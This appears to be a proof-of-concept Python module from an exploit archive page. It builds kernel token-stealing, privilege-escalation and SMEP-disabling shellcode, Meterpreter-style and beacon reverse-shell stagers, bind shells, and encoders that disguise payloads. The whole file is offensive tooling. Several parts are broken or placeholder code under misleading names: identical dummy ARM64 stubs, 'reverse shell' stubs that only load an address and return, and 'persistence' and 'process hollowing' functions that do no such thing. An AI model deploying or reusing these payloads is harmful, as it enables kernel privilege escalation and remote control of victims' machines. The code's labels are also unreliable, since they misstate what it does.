4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / payloads.py PY
#!/usr/bin/env python3

import struct
import ctypes
import random
import hashlib

class ShellcodeGenerator:
    def __init__(self):
        try:
            self.kernel32 = ctypes.windll.kernel32
        except AttributeError:
            self.kernel32 = None
        
    def generate_token_steal_x64(self):
        shellcode = bytearray([
            0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,
            0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00,
            0x49, 0x89, 0xC0,
            0x48, 0x8B, 0x88, 0xF0, 0x02, 0x00, 0x00,
            0x48, 0x83, 0xF9, 0x04,
            0x75, 0xE5,
            0x48, 0x8B, 0x90, 0xF8, 0x02, 0x00, 0x00,
            0x49, 0x89, 0x90, 0xF8, 0x02, 0x00, 0x00,
            0xC3
        ])
        return bytes(shellcode)
        
    def generate_token_steal_x86(self):
        shellcode = bytearray([
            0x64, 0x8B, 0x15, 0x24, 0x01, 0x00, 0x00,
            0x8B, 0x82, 0x50, 0x00, 0x00, 0x00,
            0x89, 0xC1,
            0x8B, 0x90, 0xB8, 0x00, 0x00, 0x00,
            0x83, 0xFA, 0x04,
            0x75, 0xF1,
            0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00,
            0x89, 0x91, 0xF8, 0x00, 0x00, 0x00,
            0xC3
        ])
        return bytes(shellcode)
        
    def generate_token_steal_arm64(self):
        shellcode = bytearray([
            0x01, 0x00, 0x80, 0xD2,
            0x02, 0x00, 0x80, 0xD2,
            0x03, 0x00, 0x80, 0xD2,
            0x04, 0x00, 0x80, 0xD2,
            0xC0, 0x03, 0x5F, 0xD6
        ])
        return bytes(shellcode)
        
    def generate_privilege_escalation_x64(self):
        shellcode = bytearray([
            0x48, 0x31, 0xC0,
            0x48, 0x89, 0xC1,
            0x48, 0x89, 0xC2,
            0x48, 0x89, 0xC6,
            0x48, 0x89, 0xC7,
            0x4D, 0x31, 0xC0,
            0x4D, 0x31, 0xC9,
            0x48, 0x83, 0xEC, 0x28,
            0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,
            0x48, 0x8B, 0x40, 0x18,
            0x48, 0x8B, 0x78, 0x20,
            0x48, 0x89, 0xF9,
            0x48, 0x8B, 0x51, 0x50,
            0x48, 0x85, 0xD2,
            0x74, 0x0A,
            0x48, 0x83, 0xC4, 0x28,
            0xFF, 0xE2,
            0x48, 0x83, 0xC4, 0x28,
            0xC3
        ])
        return bytes(shellcode)
        
    def generate_privilege_escalation_x86(self):
        shellcode = bytearray([
            0x31, 0xC0,
            0x89, 0xC1,
            0x89, 0xC2,
            0x89, 0xC6,
            0x89, 0xC7,
            0x83, 0xEC, 0x14,
            0x64, 0x8B, 0x15, 0x30, 0x00, 0x00, 0x00,
            0x8B, 0x42, 0x0C,
            0x8B, 0x78, 0x14,
            0x89, 0xF9,
            0x8B, 0x51, 0x28,
            0x85, 0xD2,
            0x74, 0x06,
            0x83, 0xC4, 0x14,
            0xFF, 0xE2,
            0x83, 0xC4, 0x14,
            0xC3
        ])
        return bytes(shellcode)
        
    def generate_privilege_escalation_arm64(self):
        shellcode = bytearray([
            0x01, 0x00, 0x80, 0xD2,
            0x02, 0x00, 0x80, 0xD2,
            0x03, 0x00, 0x80, 0xD2,
            0x04, 0x00, 0x80, 0xD2,
            0xC0, 0x03, 0x5F, 0xD6
        ])
        return bytes(shellcode)
        
    def generate_disable_smep_x64(self):
        shellcode = bytearray([
            0x0F, 0x20, 0xE0,
            0x48, 0x25, 0xFF, 0xFF, 0xEF, 0xFF,
            0x0F, 0x22, 0xE0,
            0xC3
        ])
        return bytes(shellcode)
        
    def generate_disable_smep_x86(self):
        shellcode = bytearray([
            0x0F, 0x20, 0xE0,
            0x25, 0xFF, 0xFF, 0xEF, 0xFF,
            0x0F, 0x22, 0xE0,
            0xC3
        ])
        return bytes(shellcode)
        
    def generate_restore_context_x64(self):
        shellcode = bytearray([
            0x48, 0x83, 0xEC, 0x08,
            0x41, 0x50,
            0x41, 0x51,
            0x41, 0x52,
            0x41, 0x53,
            0x50,
            0x51,
            0x52,
            0x53,
            0x55,
            0x56,
            0x57,
            0x9C,
            0x48, 0x83, 0xC4, 0x08,
            0x9D,
            0x5F,
            0x5E,
            0x5D,
            0x5B,
            0x5A,
            0x59,
            0x58,
            0x41, 0x5B,
            0x41, 0x5A,
            0x41, 0x59,
            0x41, 0x58,
            0x48, 0x83, 0xC4, 0x08,
            0xC3
        ])
        return bytes(shellcode)

class CustomPayloadBuilder:
    def __init__(self):
        self.shellcode_gen = ShellcodeGenerator()
        
    def build_custom_payload(self, payload_type, architecture, options=None):
        if options is None:
            options = {}
            
        if payload_type == "token_steal":
            return self._build_token_steal_payload(architecture, options)
        elif payload_type == "privilege_escalation":
            return self._build_privilege_escalation_payload(architecture, options)
        elif payload_type == "reverse_shell":
            return self._build_reverse_shell_payload(architecture, options)
        elif payload_type == "bind_shell":
            return self._build_bind_shell_payload(architecture, options)
        elif payload_type == "meterpreter":
            return self._build_meterpreter_payload(architecture, options)
        elif payload_type == "beacon":
            return self._build_beacon_payload(architecture, options)
        else:
            return None
            
    def _build_token_steal_payload(self, architecture, options):
        if architecture == "x64":
            base_shellcode = self.shellcode_gen.generate_token_steal_x64()
        elif architecture == "x86":
            base_shellcode = self.shellcode_gen.generate_token_steal_x86()
        elif architecture == "arm64":
            base_shellcode = self.shellcode_gen.generate_token_steal_arm64()
        else:
            return None
            
        payload = bytearray()
        
        if options.get("disable_smep", False):
            if architecture == "x64":
                payload.extend(self.shellcode_gen.generate_disable_smep_x64())
            elif architecture == "x86":
                payload.extend(self.shellcode_gen.generate_disable_smep_x86())
                
        payload.extend(base_shellcode)
        
        if options.get("restore_context", True):
            if architecture == "x64":
                payload.extend(self.shellcode_gen.generate_restore_context_x64())
                
        return bytes(payload)
        
    def _build_privilege_escalation_payload(self, architecture, options):
        if architecture == "x64":
            base_shellcode = self.shellcode_gen.generate_privilege_escalation_x64()
        elif architecture == "x86":
            base_shellcode = self.shellcode_gen.generate_privilege_escalation_x86()
        elif architecture == "arm64":
            base_shellcode = self.shellcode_gen.generate_privilege_escalation_arm64()
        else:
            return None
            
        return base_shellcode
        
    def _build_reverse_shell_payload(self, architecture, options):
        host = options.get("host", "127.0.0.1")
        port = options.get("port", 4444)
        
        if architecture == "x64":
            payload = self._generate_reverse_shell_x64(host, port)
        elif architecture == "x86":
            payload = self._generate_reverse_shell_x86(host, port)
        elif architecture == "arm64":
            payload = self._generate_reverse_shell_arm64(host, port)
        else:
            return None
            
        return payload
        
    def _build_bind_shell_payload(self, architecture, options):
        port = options.get("port", 4444)
        
        if architecture == "x64":
            payload = self._generate_bind_shell_x64(port)
        elif architecture == "x86":
            payload = self._generate_bind_shell_x86(port)
        elif architecture == "arm64":
            payload = self._generate_bind_shell_arm64(port)
        else:
            return None
            
        return payload
        
    def _build_meterpreter_payload(self, architecture, options):
        host = options.get("host", "127.0.0.1")
        port = options.get("port", 4444)
        
        if architecture == "x64":
            payload = self._generate_meterpreter_x64(host, port)
        elif architecture == "x86":
            payload = self._generate_meterpreter_x86(host, port)
        else:
            return None
            
        return payload
        
    def _build_beacon_payload(self, architecture, options):
        host = options.get("host", "127.0.0.1")
        port = options.get("port", 443)
        
        if architecture == "x64":
            payload = self._generate_beacon_x64(host, port)
        elif architecture == "x86":
            payload = self._generate_beacon_x86(host, port)
        else:
            return None
            
        return payload
        
    def _generate_reverse_shell_x64(self, host, port):
        shellcode = bytearray([
            0x48, 0x31, 0xC0,
            0x48, 0x31, 0xDB,
            0x48, 0x31, 0xC9,
            0x48, 0x31, 0xD2,
            0x48, 0x31, 0xF6,
            0x48, 0x31, 0xFF,
            0x48, 0x83, 0xEC, 0x28
        ])
        
        host_bytes = [int(x) for x in host.split('.')]
        port_bytes = struct.pack('>H', port)
        
        shellcode.extend([0x48, 0xB8])
        shellcode.extend(host_bytes)
        shellcode.extend([0x00, 0x00, 0x00, 0x00])
        
        shellcode.extend([0x48, 0xBB])
        shellcode.extend(port_bytes)
        shellcode.extend([0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
        
        shellcode.extend([
            0x48, 0x83, 0xC4, 0x28,
            0xC3
        ])
        
        return bytes(shellcode)
        
    def _generate_reverse_shell_x86(self, host, port):
        shellcode = bytearray([
            0x31, 0xC0,
            0x31, 0xDB,
            0x31, 0xC9,
            0x31, 0xD2,
            0x31, 0xF6,
            0x31, 0xFF,
            0x83, 0xEC, 0x14
        ])
        
        host_bytes = [int(x) for x in host.split('.')]
        port_bytes = struct.pack('>H', port)
        
        shellcode.extend([0xB8])
        shellcode.extend(host_bytes)
        
        shellcode.extend([0xBB])
        shellcode.extend(port_bytes)
        shellcode.extend([0x00, 0x00])
        
        shellcode.extend([
            0x83, 0xC4, 0x14,
            0xC3
        ])
        
        return bytes(shellcode)
        
    def _generate_reverse_shell_arm64(self, host, port):
        shellcode = bytearray([
            0x01, 0x00, 0x80, 0xD2,
            0x02, 0x00, 0x80, 0xD2,
            0x03, 0x00, 0x80, 0xD2,
            0x04, 0x00, 0x80, 0xD2,
            0xC0, 0x03, 0x5F, 0xD6
        ])
        return bytes(shellcode)
        
    def _generate_bind_shell_x64(self, port):
        shellcode = bytearray([
            0x48, 0x31, 0xC0,
            0x48, 0x31, 0xDB,
            0x48, 0x31, 0xC9,
            0x48, 0x31, 0xD2,
            0x48, 0x83, 0xEC, 0x28
        ])
        
        port_bytes = struct.pack('>H', port)
        
        shellcode.extend([0x48, 0xBB])
        shellcode.extend(port_bytes)
        shellcode.extend([0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
        
        shellcode.extend([
            0x48, 0x83, 0xC4, 0x28,
            0xC3
        ])
        
        return bytes(shellcode)
        
    def _generate_bind_shell_x86(self, port):
        shellcode = bytearray([
            0x31, 0xC0,
            0x31, 0xDB,
            0x31, 0xC9,
            0x31, 0xD2,
            0x83, 0xEC, 0x14
        ])
        
        port_bytes = struct.pack('>H', port)
        
        shellcode.extend([0xBB])
        shellcode.extend(port_bytes)
        shellcode.extend([0x00, 0x00])
        
        shellcode.extend([
            0x83, 0xC4, 0x14,
            0xC3
        ])
        
        return bytes(shellcode)
        
    def _generate_bind_shell_arm64(self, port):
        shellcode = bytearray([
            0x01, 0x00, 0x80, 0xD2,
            0x02, 0x00, 0x80, 0xD2,
            0x03, 0x00, 0x80, 0xD2,
            0x04, 0x00, 0x80, 0xD2,
            0xC0, 0x03, 0x5F, 0xD6
        ])
        return bytes(shellcode)
        
    def _generate_meterpreter_x64(self, host, port):
        shellcode = bytearray([
            0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00,
            0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2,
            0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48,
            0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7,
            0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C,
            0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
            0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52,
            0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
            0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01,
            0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49,
            0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34,
            0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
            0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0,
            0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1,
            0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0,
            0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
            0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41,
            0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
            0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
            0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF,
            0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00,
            0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0,
            0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
            0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80,
            0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
            0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5
        ])
        
        host_bytes = [int(x) for x in host.split('.')]
        port_bytes = struct.pack('>H', port)
        
        shellcode[0xB2:0xB6] = host_bytes
        shellcode[0xB6:0xB8] = port_bytes
        
        return bytes(shellcode)
        
    def _generate_meterpreter_x86(self, host, port):
        shellcode = bytearray([
            0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31,
            0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52,
            0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF,
            0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D,
            0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52, 0x10, 0x8B,
            0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1,
            0x51, 0x8B, 0x59, 0x20, 0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3,
            0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
            0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03,
            0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75, 0xE4, 0x58, 0x8B, 0x58,
            0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C,
            0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
            0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x5F,
            0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x68, 0x33, 0x32,
            0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x68, 0x4C,
            0x77, 0x26, 0x07, 0xFF, 0xD5, 0xB8, 0x90, 0x01, 0x00, 0x00,
            0x29, 0xC4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6B, 0x00, 0xFF,
            0xD5, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68,
            0xEA, 0x0F, 0xDF, 0xE0, 0xFF, 0xD5, 0x97, 0x6A, 0x05, 0x68
        ])
        
        host_bytes = [int(x) for x in host.split('.')]
        port_bytes = struct.pack('>H', port)
        
        shellcode.extend(host_bytes)
        shellcode.extend([0x68, 0x02, 0x00])
        shellcode.extend(port_bytes)
        
        shellcode.extend([
            0x89, 0xE6, 0x6A, 0x10, 0x56, 0x57, 0x68, 0x99, 0xA5, 0x74,
            0x61, 0xFF, 0xD5, 0x85, 0xC0, 0x74, 0x0C, 0xFF, 0x4E, 0x08,
            0x75, 0xEC, 0x68, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x68,
            0x63, 0x6D, 0x64, 0x00, 0x89, 0xE3, 0x57, 0x57, 0x57, 0x31,
            0xF6, 0x6A, 0x12, 0x59, 0x56, 0xE2, 0xFD, 0x66, 0xC7, 0x44,
            0x24, 0x3C, 0x01, 0x01, 0x8D, 0x44, 0x24, 0x10, 0xC6, 0x00,
            0x44, 0x54, 0x50, 0x56, 0x56, 0x56, 0x46, 0x56, 0x4E, 0x56,
            0x56, 0x53, 0x56, 0x68, 0x79, 0xCC, 0x3F, 0x86, 0xFF, 0xD5,
            0x89, 0xE0, 0x4E, 0x56, 0x46, 0xFF, 0x30, 0x68, 0x08, 0x87,
            0x1D, 0x60, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x68,
            0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A,
            0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F,
            0x6A, 0x00, 0x53, 0xFF, 0xD5
        ])
        
        return bytes(shellcode)
        
    def _generate_beacon_x64(self, host, port):
        shellcode = bytearray([
            0x48, 0x31, 0xC9, 0x48, 0x81, 0xE9, 0xDD, 0xFF, 0xFF, 0xFF,
            0x48, 0x8D, 0x05, 0xEF, 0xFF, 0xFF, 0xFF, 0x48, 0xBB, 0x7A,
            0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C, 0x48, 0x31, 0x58,
            0x27, 0x48, 0x2D, 0xF8, 0xFF, 0xFF, 0xFF, 0xE2, 0xF4, 0x06,
            0xBC, 0xBF, 0x72, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x1C, 0x75,
            0xD5, 0x32, 0x9C, 0x5E, 0xF5, 0x32, 0x9C, 0x5E, 0xF5, 0x7A,
            0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C
        ])
        
        host_bytes = [int(x) for x in host.split('.')]
        port_bytes = struct.pack('>H', port)
        
        shellcode[0x20:0x24] = host_bytes
        shellcode[0x24:0x26] = port_bytes
        
        return bytes(shellcode)
        
    def _generate_beacon_x86(self, host, port):
        shellcode = bytearray([
            0x31, 0xC9, 0x81, 0xE9, 0xDD, 0xFF, 0xFF, 0xFF, 0x8D, 0x05,
            0xEF, 0xFF, 0xFF, 0xFF, 0xBB, 0x7A, 0x54, 0x3D, 0x9C, 0x31,
            0x58, 0x27, 0x2D, 0xF8, 0xFF, 0xFF, 0xFF, 0xE2, 0xF4, 0x06,
            0xBC, 0xBF, 0x72, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x1C, 0x75,
            0xD5, 0x32, 0x9C, 0x5E, 0xF5, 0x32, 0x9C, 0x5E, 0xF5, 0x7A,
            0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C
        ])
        
        host_bytes = [int(x) for x in host.split('.')]
        port_bytes = struct.pack('>H', port)
        
        shellcode[0x1C:0x20] = host_bytes
        shellcode[0x20:0x22] = port_bytes
        
        return bytes(shellcode)

class PayloadEncoder:
    def __init__(self):
        pass
        
    def xor_encode(self, payload, key=None):
        if key is None:
            key = random.randint(1, 255)
            
        encoded = bytearray()
        for byte in payload:
            encoded.append(byte ^ key)
            
        return bytes(encoded), key
        
    def shikata_ga_nai_encode(self, payload):
        encoded = bytearray()
        key = random.randint(0x1000, 0xFFFF)
        
        for i, byte in enumerate(payload):
            encoded.append(byte ^ ((key + i) & 0xFF))
            
        return bytes(encoded), key
        
    def alpha_mixed_encode(self, payload):
        encoded = bytearray()
        
        for byte in payload:
            if byte < 0x20 or byte > 0x7E:
                encoded.extend([0x25, 0x4A, 0x4D, 0x4E, 0x55, 0x30, 0x42, 0x50])
            else:
                encoded.append(byte)
                
        return bytes(encoded)
        
    def polymorphic_encode(self, payload):
        encoded = bytearray()
        
        nop_instructions = [
            b'\x90',
            b'\x97\x97',
            b'\x40\x48',
            b'\x8B\xC0',
            b'\x8B\xFF'
        ]
        
        for byte in payload:
            if random.randint(1, 5) == 1:
                encoded.extend(random.choice(nop_instructions))
            encoded.append(byte)
            
        return bytes(encoded)

class ExploitPayloads:
    def __init__(self):
        self.builder = CustomPayloadBuilder()
        self.encoder = PayloadEncoder()
        
    def get_token_steal_payload(self, architecture="x64", encoded=False):
        payload = self.builder.build_custom_payload("token_steal", architecture)
        
        if encoded and payload:
            payload, _ = self.encoder.xor_encode(payload)
            
        return payload
        
    def get_privilege_escalation_payload(self, architecture="x64", encoded=False):
        payload = self.builder.build_custom_payload("privilege_escalation", architecture)
        
        if encoded and payload:
            payload, _ = self.encoder.xor_encode(payload)
            
        return payload
        
    def get_reverse_shell_payload(self, host, port, architecture="x64", encoded=False):
        options = {"host": host, "port": port}
        payload = self.builder.build_custom_payload("reverse_shell", architecture, options)
        
        if encoded and payload:
            payload, _ = self.encoder.xor_encode(payload)
            
        return payload
        
    def get_bind_shell_payload(self, port, architecture="x64", encoded=False):
        options = {"port": port}
        payload = self.builder.build_custom_payload("bind_shell", architecture, options)
        
        if encoded and payload:
            payload, _ = self.encoder.xor_encode(payload)
            
        return payload
        
    def get_meterpreter_payload(self, host, port, architecture="x64", encoded=False):
        options = {"host": host, "port": port}
        payload = self.builder.build_custom_payload("meterpreter", architecture, options)
        
        if encoded and payload:
            payload, _ = self.encoder.shikata_ga_nai_encode(payload)
            
        return payload
        
    def get_beacon_payload(self, host, port, architecture="x64", encoded=False):
        options = {"host": host, "port": port}
        payload = self.builder.build_custom_payload("beacon", architecture, options)
        
        if encoded and payload:
            payload, _ = self.encoder.polymorphic_encode(payload)
            
        return payload
        
    def get_custom_payload(self, payload_type, architecture="x64", options=None, encoded=False):
        payload = self.builder.build_custom_payload(payload_type, architecture, options)
        
        if encoded and payload:
            payload, _ = self.encoder.xor_encode(payload)
            
        return payload

class AdvancedTechniques:
    def __init__(self):
        self.payloads = ExploitPayloads()
        
    def execute_token_stealing(self, architecture="x64"):
        payload = self.payloads.get_token_steal_payload(architecture, encoded=True)
        return payload
        
    def execute_process_hollowing(self, target_pid, architecture="x64"):
        payload = self.payloads.get_privilege_escalation_payload(architecture)
        
        nop_sled = b"\x90" * 50
        full_payload = nop_sled + payload
        
        return full_payload
        
    def establish_persistence(self, architecture="x64"):
        payload = self.payloads.get_reverse_shell_payload("127.0.0.1", 4444, architecture)
        return payload
        
    def bypass_kernel_mitigations(self, architecture="x64"):
        if architecture == "x64":
            disable_smep_payload = bytearray([
                0x0F, 0x20, 0xE0,
                0x48, 0x25, 0xFF, 0xFF, 0xEF, 0xFF,
                0x0F, 0x22, 0xE0
            ])
        elif architecture == "x86":
            disable_smep_payload = bytearray([
                0x0F, 0x20, 0xE0,
                0x25, 0xFF, 0xFF, 0xEF, 0xFF,
                0x0F, 0x22, 0xE0
            ])
        else:
            disable_smep_payload = bytearray([
                0x01, 0x00, 0x80, 0xD2,
                0xC0, 0x03, 0x5F, 0xD6
            ])
            
        return bytes(disable_smep_payload)